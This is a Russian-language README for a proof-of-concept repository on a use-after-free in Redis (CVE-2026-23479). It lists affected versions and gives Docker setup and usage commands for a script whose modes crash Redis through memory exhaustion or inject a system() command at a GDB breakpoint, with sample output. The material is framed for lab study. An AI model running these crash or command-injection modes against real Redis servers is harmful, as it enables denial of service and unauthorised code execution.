🔥 CVE-2026-23479 – Proof of Concept для UAF в Redis

Использование после освобождения (Use-After-Free) в Redis unblockClientOnKey(), ведущее к удалённому выполнению кода
Proof of Concept с эксплуатацией при помощи GDB (только для обучения / лабораторных работ)

📖 Обзор

CVE-2026-23479 — критическая уязвимость типа «использование после освобождения» (Use‑After‑Free, UAF) в Redis версиях с 7.2.0 по 8.6.2.
Ошибка находится в unblockClientOnKey(), которая вызывает processCommandAndResetClient() без проверки возвращаемого значения.
Если во время этого вызова клиент освобождается (например, из-за вытеснения), вызывающий код продолжает работать с висячим указателем → UAF.
Атакующий, способный управлять кучей после освобождения, может добиться выполнения произвольного кода.

В этом репозитории представлен PoC с использованием GDB, который:

Активирует именно тот уязвимый путь выполнения кода
Доказывает UAF, намеренно вызывая аварийное завершение (вызов freeClient())
Демонстрирует выполнение произвольных команд путём внедрения вызова system() в той же точке

⚠️ Важно: Это не «боевой» эксплойт. Он использует GDB внутри привилегированного Docker-контейнера, чтобы имитировать то, чего реальный атакующий мог бы достичь после успешной эксплуатации UAF.
Используйте его только в собственной лаборатории или на системах, на тестирование которых у вас есть явное разрешение.

✨ Возможности

🧪 Четыре режима работы — crash, gdb, rce, full
🐳 На базе Docker — не нужно устанавливать уязвимый Redis на хосте
🔍 Автоматическое определение версии — проверяет, входит ли цель в затронутый диапазон
🧹 Самоочистка — завершает устаревшие GDB-сессии перед каждым запуском
🎯 Гибкое имя контейнера — можно передать любой контейнер через --container
📦 Один Python-файл — ноль зависимостей, кроме стандартной библиотеки

🧠 Как это работает

Блокируем «жертву» — команда XREAD BLOCK заставляет клиента ждать данных из потока.
Подключаем GDB — GDB подключается к процессу Redis (pid 1) внутри контейнера.
Устанавливаем точку останова на processCommandAndResetClient — функцию, вызываемую при повторной обработке заблокированного клиента.
Инициируем разблокировку — XADD по тому же потоку «пробуждает» жертву.
При срабатывании точки останова:
- режим gdb: вызывает freeClient($rdi) → намеренно вызывает SIGSEGV → доказывает UAF.
- режим rce: вызывает system("your command") → выполняет произвольные shell-команды от имени пользователя Redis (root по умолчанию).
Проверка — скрипт проверяет, существует ли ожидаемый файл-подтверждение (RCE) или упал ли Redis (UAF).

Точка останова срабатывает каждый раз, когда заблокированный клиент разблокируется, что показывает: тот же путь выполнения кода, который содержит UAF, также допускает выполнение кода.

📋 Затронутые версии

Branch	Vulnerable Range
7.2	7.2.0 – 7.2.13
7.4	7.4.0 – 7.4.8
8.2	8.2.0 – 8.2.5
8.4	8.4.0 – 8.4.2
8.6	8.6.0 – 8.6.2

Скрипт автоматически определяет версию Redis и сообщает, уязвима ли она.

🐳 Предварительные требования

Установленный и запущенный Docker
Python 3.8+ (используется только стандартная библиотека)
Docker-образ Redis 8.6.2, в котором доступен apt (например, официальный redis:8.6.2)
Контейнер должен быть создан с параметром --privileged (требуется для ptrace)

⚙️ Установка

1. Клонируйте репозиторий

git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. Запустите уязвимый Redis-контейнер

docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. Установите GDB внутри контейнера

docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. Проверка

docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 Использование

python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

Режимы

Mode	Description
`crash`	Попытка вызвать UAF через нехватку памяти (GDB не требуется). Redis может упасть, но это не гарантировано.
`gdb`	Подключить GDB и вызвать `freeClient()` на точке останова → принудительный `SIGSEGV` (доказывает UAF).
`rce`	Подключить GDB и вызвать `system(cmd)` на точке останова → выполняет shell-команду внутри контейнера.
`full`	Сначала запустить `crash`; если Redis не упал, переключиться на `gdb`.

Параметры

Argument	Default	Description
`target`	(обязательно)	IP-адрес Redis-сервера
`-p`, `--port`	`6379`	Порт Redis
`-m`, `--mode`	`full`	Один из режимов: `crash`, `gdb`, `rce`, `full`
`--container`	`env-redis-vuln-1`	Имя Docker-контейнера
`--cmd`	`id > /tmp/pwned_by_cve`	Команда для выполнения в режиме `rce`

📚 Пошаговые примеры

Примечание: Все команды выполняются на хостовой машине, а не внутри Docker-контейнера.

1. Докажите UAF через GDB

python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

Ожидаемый вывод (фрагмент)

[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

Redis упадёт после ошибки сегментации.

Перезапустите контейнер:

docker start redis-vuln-local

2. Добейтесь удалённого выполнения кода (RCE)

Перезапустите Redis, чтобы гарантировать чистое состояние:

docker restart redis-vuln-local

Запустите эксплойт:

python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

Проверьте файл-подтверждение:

docker exec redis-vuln-local ls -l /tmp/pwned

В случае успеха файл будет существовать, что докажет выполнение внутри Redis-контейнера команды:

system("touch /tmp/pwned");

3. Вызовите UAF без GDB (нехватка памяти)

python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

Если Redis неожиданно завершит работу (контейнер больше не запущен), UAF, скорее всего, сработал.

Перезапустите его командой:

docker start redis-vuln-local

4. Запустите полный тест

python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

Этот режим:

Пытается вызвать аварийное завершение через нехватку памяти.
Если Redis выживает, переходит на метод с использованием GDB.

📸 Пример вывода (режим RCE)

============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

CVE-2026-23479-Redis-UAF-Proof-of-Concept

Популярное